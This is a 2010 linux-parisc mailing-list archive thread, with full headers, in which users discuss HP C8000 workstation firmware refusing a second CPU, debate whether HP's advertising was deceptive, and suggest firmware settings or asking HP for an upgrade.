In-Reply-To: <AANLkTikD5cvJdAxUg7zj0ySM9z6fThE-9H9txVpNC9Ez@mail.gmail.com>
User-Agent: Alpine 1.10 (DEB 962 2008-03-14)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3141
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3141>



On Sat, 23 Oct 2010, Carlos O'Donell wrote:

> On Sat, Oct 23, 2010 at 5:21 AM, Mikulas Patocka
> <mikulas@artax.karlin.mff.cuni.cz> wrote:
> > On Fri, 22 Oct 2010, Carlos O'Donell wrote:
> >> AFAIK you can't add a second CPU without an HP technician enabling the
> >> firmware for a second CPU.
> >>
> >> The same goes for enabling additional PCI slots.
> >>
> >> Cheers,
> >> Carlos.
> >
> > And is there some hack that enables it?
> >
> > It looks quite dishonest to me when the machine is advertised as capable
> > of two dual-core CPUs, 32GB RAM, 4 PCI-X slots ... and you get this
> > advertised capability only if you buy expensive support contract :-(
> 
> I know of no hack.
> 
> It is not dishonest, the original purchase contract for the machine
> probably said "1 active CPU slot" and "1 active PCI-X slot."
> 
> Cheers,
> Carlos.

It looks like false advertising to me. It is immoral (and in many 
countries illegal) to advertise the product having some capabilities and 
then selling the product not having the capabilities. Purchase contract is 
irelevant, what is relevant are the public statements about the product 
and the real status of the product.

HP claims that c8000 workstation is extendible to two processors. Such 
claims are implicit (feature lists, listing up to two dual core 1.1GHz 
processors) and explicit (citing 
http://www.hp.com/workstations/white_papers/docs/hp_workstation_c8000_po.pdf 
"Robust expansion capabilities, including two processor sockets and four 
disk bays, let you grow and configure the system as needed").

HP sells a computer that it claims to be c8000 and that the user cannot 
expand to two processors, contrary to the claims in the whitepaper.

These claims really deceive users, both me and the person who sold me the 
CPU were deceived by them.

Anyone living in the US and wanting to file a complain to FTC about these 
computers falsely advertised as expandable? :)

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: C8000 cpu upgrade problem
Date: Sat, 23 Oct 2010 11:25:45 -0400
Lines: 54
Approved: news@gmane.org
Message-ID: <AANLkTimhs8gyJOwh4eB9M8S3NHNO5KBm_DJZDc=3+=w6@mail.gmail.com>
References: <alpine.DEB.1.10.1010221555220.3134@artax.karlin.mff.cuni.cz>
 <AANLkTi=YJJgP-tDhh2g6D8d8BkKa-ENoJankd-ZMV+i2@mail.gmail.com>
 <alpine.DEB.1.10.1010231118350.23687@artax.karlin.mff.cuni.cz> <AANLkTikD5cvJdAxUg7zj0ySM9z6fThE-9H9txVpNC9Ez@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1287847577 26915 80.91.229.12 (23 Oct 2010 15:26:17 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 23 Oct 2010 15:26:17 +0000 (UTC)
Cc: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>,
	linux-parisc@vger.kernel.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 23 17:26:14 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9fyz-00010H-Gc
	for glpp-linux-parisc@lo.gmane.org; Sat, 23 Oct 2010 17:26:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757581Ab0JWP0I (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Oct 2010 11:26:08 -0400
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:46298 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757416Ab0JWP0H (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Oct 2010 11:26:07 -0400
Original-Received: by bwz11 with SMTP id 11so1315511bwz.19
        for <linux-parisc@vger.kernel.org>; Sat, 23 Oct 2010 08:26:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:mime-version:received:in-reply-to
         :references:from:date:message-id:subject:to:cc:content-type;
        bh=aWaR9/a99wy9LAd2A4f2rKpuOnxaRUHYTgg0qEF+q+A=;
        b=lbOxbKIqEC9jP/r3gYYncUZCF98oXKBDtEZisRvTgc2/wJvoeHW0hjr9MGvaaAlOTF
         O4hmKxUkNdvQbOtptSsOAX+pLq1aTAZA1P7BJVI+p90fG2zbKlVzAdexzId0zbKvFpwb
         7oMVnk+lSkQr7Hu6vU/37joImDys93St3M1Tw=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        b=FyZ3wmB4dRPyKeOnagRIG/SqpedK47/y3NDDkE5pSD7sF/vJ7Do1lKrEdGUa1GI+h7
         DQ5D+amAKtqJ1yM2JAQF1XudnBiU69LQzqrJdwQFKVRK02WJwTi0ai3Ag6AM+p4tRjxj
         30YeNM8SqlCIWXuyrWKPsLuCOk+8/freJonP0=
Original-Received: by 10.204.27.20 with SMTP id g20mr3344642bkc.114.1287847566036; Sat,
 23 Oct 2010 08:26:06 -0700 (PDT)
Original-Received: by 10.204.47.147 with HTTP; Sat, 23 Oct 2010 08:25:45 -0700 (PDT)
In-Reply-To: <AANLkTikD5cvJdAxUg7zj0ySM9z6fThE-9H9txVpNC9Ez@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3142
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3142>

On Sat, Oct 23, 2010 at 7:22 AM, Carlos O'Donell
<carlos@systemhalted.org> wrote:
> On Sat, Oct 23, 2010 at 5:21 AM, Mikulas Patocka
> <mikulas@artax.karlin.mff.cuni.cz> wrote:
>> On Fri, 22 Oct 2010, Carlos O'Donell wrote:
>>> AFAIK you can't add a second CPU without an HP technician enabling the
>>> firmware for a second CPU.
>>>
>>> The same goes for enabling additional PCI slots.
>>>
>>> Cheers,
>>> Carlos.
>>
>> And is there some hack that enables it?
>>
>> It looks quite dishonest to me when the machine is advertised as capable
>> of two dual-core CPUs, 32GB RAM, 4 PCI-X slots ... and you get this
>> advertised capability only if you buy expensive support contract :-(
>
> I know of no hack.
>
> It is not dishonest, the original purchase contract for the machine
> probably said "1 active CPU slot" and "1 active PCI-X slot."
>
> Cheers,
> Carlos.

It _is_ dishonest, and deceptive at that. When was the last time you
bought a multisocket system and couldn't add a second processor
because you needed a support contract? I've never encountered such a
thing and I've got multisocket x86, Alpha, and SPARC systems.

This whole license-to-use-hardware thing is bullshit. Mikulas bought
the hardware, and thus he should be able to use it. I'm struggling to
find any information about this problem online. I can't even find
anyone else who has reported that adding a second CPU doesn't just
work.

Are we absolutely sure you've got to jump through some licensing
bullshit to enable the CPU? Maybe it's just a missed setting in PDC?

> The same goes for enabling additional PCI slots.

You've got to be kidding me.

I'd been planning to grab a cheap C8000 and help Linux/PARISC. But no.
I'll never use hardware like this on principle.

Matt
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: C8000 cpu upgrade problem
Date: Sat, 23 Oct 2010 11:47:17 -0400 (EDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <20101023154718.9C2344D30@hiauly1.hia.nrc.ca>
References: <alpine.DEB.1.10.1010221555220.3134@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1287849337 1955 80.91.229.12 (23 Oct 2010 15:55:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 23 Oct 2010 15:55:37 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: mikulas@artax.karlin.mff.cuni.cz (Mikulas Patocka)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 23 17:55:36 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9gRS-0003WC-2T
	for glpp-linux-parisc@lo.gmane.org; Sat, 23 Oct 2010 17:55:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753644Ab0JWPzc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Oct 2010 11:55:32 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1197 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751750Ab0JWPzc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Oct 2010 11:55:32 -0400
X-Greylist: delayed 493 seconds by postgrey-1.27 at vger.kernel.org; Sat, 23 Oct 2010 11:55:32 EDT
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 9C2344D30; Sat, 23 Oct 2010 11:47:18 -0400 (EDT)
In-Reply-To: <alpine.DEB.1.10.1010221555220.3134@artax.karlin.mff.cuni.cz> from "Mikulas Patocka" at Oct 22, 2010 04:07:17 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3143
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3143>

> I have a C8000 workstation with one PA8800 900MHz CPU (the motherboard has 
> two sockets), I installed Linux via serial console on it and it seems to 
> be running quite fine (I had to plug a PCI serial card because Linux 
> doesn't recognize the on-board serial ports or videocard).
> 
> When I inserted anober PA8800 900MHz CPU (taken from another workstation) 
> to the second socket on the motherboard, the boot firmware writes a 
> warning "Too many CPUs for this system.", drops into the boot menu and 
> refuses to load an operating system.

It looks like it should be possible to add a second processor.  See
Technical Reference Guide HP workstation c8000, Document Part Number:
5969-3188.

Did you install second CPU power module?

> Do you have some idea how to solve it? I.e. switch something in the 
> firmware, load new firmware (I have FW 2.13 BMC 02.32), or get some tool 
> from HP that can allow the second processor on this workstation?

I don't have any specific knowledge about the c8000.  It appears CPUs
are configured in the BCH configuration menu with the CPUconfig command.
Based on my experience with rp3440, you have to do a hard reboot
after configuring a CPU.  If a CPU gets deconfigured or it doesn't appear
when you type CPUconfig, there is probably a hardware problem.

2.13 seems to be latest firmware.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: C8000 cpu upgrade problem
Date: Sat, 23 Oct 2010 18:02:18 +0200 (CEST)
Lines: 50
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.10.1010231757360.18664@artax.karlin.mff.cuni.cz>
References: <20101023154718.9C2344D30@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1287849743 3475 80.91.229.12 (23 Oct 2010 16:02:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 23 Oct 2010 16:02:23 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 23 18:02:21 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9gY0-0006LM-HB
	for glpp-linux-parisc@lo.gmane.org; Sat, 23 Oct 2010 18:02:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757467Ab0JWQCT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Oct 2010 12:02:19 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:39390 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755945Ab0JWQCT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Oct 2010 12:02:19 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id 6CC689809B; Sat, 23 Oct 2010 18:02:18 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id 6B42598064;
	Sat, 23 Oct 2010 18:02:18 +0200 (CEST)
In-Reply-To: <20101023154718.9C2344D30@hiauly1.hia.nrc.ca>
User-Agent: Alpine 1.10 (DEB 962 2008-03-14)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3144
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3144>



On Sat, 23 Oct 2010, John David Anglin wrote:

> > I have a C8000 workstation with one PA8800 900MHz CPU (the motherboard has 
> > two sockets), I installed Linux via serial console on it and it seems to 
> > be running quite fine (I had to plug a PCI serial card because Linux 
> > doesn't recognize the on-board serial ports or videocard).
> > 
> > When I inserted anober PA8800 900MHz CPU (taken from another workstation) 
> > to the second socket on the motherboard, the boot firmware writes a 
> > warning "Too many CPUs for this system.", drops into the boot menu and 
> > refuses to load an operating system.
> 
> It looks like it should be possible to add a second processor.  See
> Technical Reference Guide HP workstation c8000, Document Part Number:
> 5969-3188.

I used this guide when adding the new CPU. I bought the torx screwdriver 
and the hex tool (as described in the guide) from the local hardware 
store.

> Did you install second CPU power module?

Yes.

> > Do you have some idea how to solve it? I.e. switch something in the 
> > firmware, load new firmware (I have FW 2.13 BMC 02.32), or get some tool 
> > from HP that can allow the second processor on this workstation?
> 
> I don't have any specific knowledge about the c8000.  It appears CPUs
> are configured in the BCH configuration menu with the CPUconfig command.
> Based on my experience with rp3440, you have to do a hard reboot
> after configuring a CPU.  If a CPU gets deconfigured or it doesn't appear
> when you type CPUconfig, there is probably a hardware problem.
> 
> 2.13 seems to be latest firmware.
> 
> Dave

It showed "WARNING: Too many CPUs for this system." and the new cpu wasn't 
shown in "IN PR" command. Also, "BO" command refused to boot becuase of 
the warning.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: C8000 cpu upgrade problem
Date: Sat, 23 Oct 2010 18:40:42 +0200 (CEST)
Lines: 98
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.10.1010231802330.18664@artax.karlin.mff.cuni.cz>
References: <alpine.DEB.1.10.1010221555220.3134@artax.karlin.mff.cuni.cz> <AANLkTi=YJJgP-tDhh2g6D8d8BkKa-ENoJankd-ZMV+i2@mail.gmail.com> <alpine.DEB.1.10.1010231118350.23687@artax.karlin.mff.cuni.cz> <AANLkTikD5cvJdAxUg7zj0ySM9z6fThE-9H9txVpNC9Ez@mail.gmail.com>
 <AANLkTimhs8gyJOwh4eB9M8S3NHNO5KBm_DJZDc=3+=w6@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1287852059 12666 80.91.229.12 (23 Oct 2010 16:40:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 23 Oct 2010 16:40:59 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	linux-parisc@vger.kernel.org
To: Matt Turner <mattst88@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 23 18:40:55 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9h9I-0007ZX-QN
	for glpp-linux-parisc@lo.gmane.org; Sat, 23 Oct 2010 18:40:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758072Ab0JWQko (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Oct 2010 12:40:44 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:44493 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758014Ab0JWQko (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Oct 2010 12:40:44 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id DC6099811F; Sat, 23 Oct 2010 18:40:42 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id DA80398112;
	Sat, 23 Oct 2010 18:40:42 +0200 (CEST)
In-Reply-To: <AANLkTimhs8gyJOwh4eB9M8S3NHNO5KBm_DJZDc=3+=w6@mail.gmail.com>
User-Agent: Alpine 1.10 (DEB 962 2008-03-14)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3145
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3145>



On Sat, 23 Oct 2010, Matt Turner wrote:

> On Sat, Oct 23, 2010 at 7:22 AM, Carlos O'Donell
> <carlos@systemhalted.org> wrote:
> > On Sat, Oct 23, 2010 at 5:21 AM, Mikulas Patocka
> > <mikulas@artax.karlin.mff.cuni.cz> wrote:
> >> On Fri, 22 Oct 2010, Carlos O'Donell wrote:
> >>> AFAIK you can't add a second CPU without an HP technician enabling the
> >>> firmware for a second CPU.
> >>>
> >>> The same goes for enabling additional PCI slots.
> >>>
> >>> Cheers,
> >>> Carlos.
> >>
> >> And is there some hack that enables it?
> >>
> >> It looks quite dishonest to me when the machine is advertised as capable
> >> of two dual-core CPUs, 32GB RAM, 4 PCI-X slots ... and you get this
> >> advertised capability only if you buy expensive support contract :-(
> >
> > I know of no hack.
> >
> > It is not dishonest, the original purchase contract for the machine
> > probably said "1 active CPU slot" and "1 active PCI-X slot."
> >
> > Cheers,
> > Carlos.
> 
> It _is_ dishonest, and deceptive at that. When was the last time you
> bought a multisocket system and couldn't add a second processor
> because you needed a support contract? I've never encountered such a
> thing and I've got multisocket x86, Alpha, and SPARC systems.
> 
> This whole license-to-use-hardware thing is bullshit. Mikulas bought
> the hardware, and thus he should be able to use it. I'm struggling to
> find any information about this problem online. I can't even find
> anyone else who has reported that adding a second CPU doesn't just
> work.

I searched extensively (first, I also thought that it's my fault and I've 
forgotten something) and found this:

http://forums13.itrc.hp.com/service/forums/questionanswer.do?admit=109447627+1287849831841+28353475&threadId=1251754 
--- some person replaces a mainboard, gets warnings about invalid serial 
number, too many CPUs (the same as me), CPU speed limit exceeded, 6GB 
memory limit exceeded. The advice was to contact HP to change the serial 
numbers :-(

http://sql.ru/forum/actualthread.aspx?tid=726002 --- the same warning, in 
Russian, no response

http://3000newswire.blogs.com/3000_newswire/2007/08/programs-off-li.html
--- considerations about some programs that can remove limits, nothing 
specific

http://3000newswire.blogs.com/3000_newswire/2007/08/helpful-program.html 
--- some more moaning about HP locking some diagnostic programs

http://3000newswire.blogs.com/3000_newswire/2010/10/indie-resets-of-3000-system-ids-still-available.html 
--- some company that can supposedly reset the serial numbers and allow 
upgrades. The only problem is that sending the workstation to them is 
likely more expensive than the price of the workstation itself :-(

> Are we absolutely sure you've got to jump through some licensing
> bullshit to enable the CPU? Maybe it's just a missed setting in PDC?

I went through the whole PDC menu, didn't find anything. I tried to clear 
all logs, reset it to defaults, etc., but no help.

> > The same goes for enabling additional PCI slots.
> 
> You've got to be kidding me.
> 
> I'd been planning to grab a cheap C8000 and help Linux/PARISC. But no.
> I'll never use hardware like this on principle.
> 
> Matt

I wouldn't buy even a laptop from HP after this experience. What would I 
have to do if I needed a bigger hard drive or more memory? Be forced to 
call HP "award winning" support, pay for the work that I can do myself and 
be forced to upgrade it with overpriced "original" parts?

BTW. I added another 1GB memory to that C8000 workstation (it had 2GB 
before) and it works. But knowing that there may be memory limits in the 
firmware too, I'm just scared how much can I buy and add before hitting 
some of them :-( The leaflet says that the maximum is 32GB, but we know 
that it doesn't tell the truth about the number of CPUs.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: False advertising (was: C8000 cpu upgrade problem)
Date: Sat, 23 Oct 2010 11:57:38 -0500
Lines: 80
Approved: news@gmane.org
Message-ID: <1287853058.3003.18.camel@mulgrave.site>
References: <alpine.DEB.1.10.1010221555220.3134@artax.karlin.mff.cuni.cz>
	 <AANLkTi=YJJgP-tDhh2g6D8d8BkKa-ENoJankd-ZMV+i2@mail.gmail.com>
	 <alpine.DEB.1.10.1010231118350.23687@artax.karlin.mff.cuni.cz>
	 <AANLkTikD5cvJdAxUg7zj0ySM9z6fThE-9H9txVpNC9Ez@mail.gmail.com>
	 <alpine.DEB.1.10.1010231620190.12135@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1287853064 16623 80.91.229.12 (23 Oct 2010 16:57:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 23 Oct 2010 16:57:44 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	linux-parisc@vger.kernel.org
To: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 23 18:57:42 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9hPa-0006PH-EL
	for glpp-linux-parisc@lo.gmane.org; Sat, 23 Oct 2010 18:57:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757642Ab0JWQ5l (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Oct 2010 12:57:41 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:41680 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757482Ab0JWQ5l (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Oct 2010 12:57:41 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 9402A8EE0F8;
	Sat, 23 Oct 2010 09:57:40 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id LyiMtielGyuJ; Sat, 23 Oct 2010 09:57:40 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 1DFB78EE0F1;
	Sat, 23 Oct 2010 09:57:40 -0700 (PDT)
In-Reply-To: <alpine.DEB.1.10.1010231620190.12135@artax.karlin.mff.cuni.cz>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3146
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3146>

On Sat, 2010-10-23 at 16:46 +0200, Mikulas Patocka wrote:
> 
> On Sat, 23 Oct 2010, Carlos O'Donell wrote:
> 
> > On Sat, Oct 23, 2010 at 5:21 AM, Mikulas Patocka
> > <mikulas@artax.karlin.mff.cuni.cz> wrote:
> > > On Fri, 22 Oct 2010, Carlos O'Donell wrote:
> > >> AFAIK you can't add a second CPU without an HP technician enabling the
> > >> firmware for a second CPU.
> > >>
> > >> The same goes for enabling additional PCI slots.
> > >>
> > >> Cheers,
> > >> Carlos.
> > >
> > > And is there some hack that enables it?
> > >
> > > It looks quite dishonest to me when the machine is advertised as capable
> > > of two dual-core CPUs, 32GB RAM, 4 PCI-X slots ... and you get this
> > > advertised capability only if you buy expensive support contract :-(
> > 
> > I know of no hack.
> > 
> > It is not dishonest, the original purchase contract for the machine
> > probably said "1 active CPU slot" and "1 active PCI-X slot."
> > 
> > Cheers,
> > Carlos.
> 
> It looks like false advertising to me. It is immoral (and in many 
> countries illegal) to advertise the product having some capabilities and 
> then selling the product not having the capabilities. Purchase contract is 
> irelevant, what is relevant are the public statements about the product 
> and the real status of the product.

It's fairly standard for the enterprise space:  Both HP and IBM actually
sell boxes fully loaded but disable unpaid for capabilities in the
firmware (i.e. sell you a 2-cpu box that really contains 4 cpus so they
then sell a firmware upgrade as two extra cpus); enterprise users
actually like the convenience of not having to haul away and replace the
box.

> HP claims that c8000 workstation is extendible to two processors. Such 
> claims are implicit (feature lists, listing up to two dual core 1.1GHz 
> processors) and explicit (citing 
> http://www.hp.com/workstations/white_papers/docs/hp_workstation_c8000_po.pdf 
> "Robust expansion capabilities, including two processor sockets and four 
> disk bays, let you grow and configure the system as needed").

My garage is extensible too ... but I'd still have to pay a builder to
build the extension.

> HP sells a computer that it claims to be c8000 and that the user cannot 
> expand to two processors, contrary to the claims in the whitepaper.

The whitepaper only claims they are extensible (which they are) it
doesn't claim the user can do the extension (because they can't).

> These claims really deceive users, both me and the person who sold me the 
> CPU were deceived by them.
> 
> Anyone living in the US and wanting to file a complain to FTC about these 
> computers falsely advertised as expandable? :)

The FTC would take the view that it's standard industry practise and
that you didn't do due diligence ... 

However, why don't you try what we usually do?  That's ask HP nicely
(via someone in their linux department) for the firmware upgrade; it's
mostly worked in the past ... assuming you haven't antagonised them too
much by calling them liars and cheats, that is ...

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: False advertising (was: C8000 cpu upgrade problem)
Date: Sat, 23 Oct 2010 13:14:39 -0400
Lines: 125
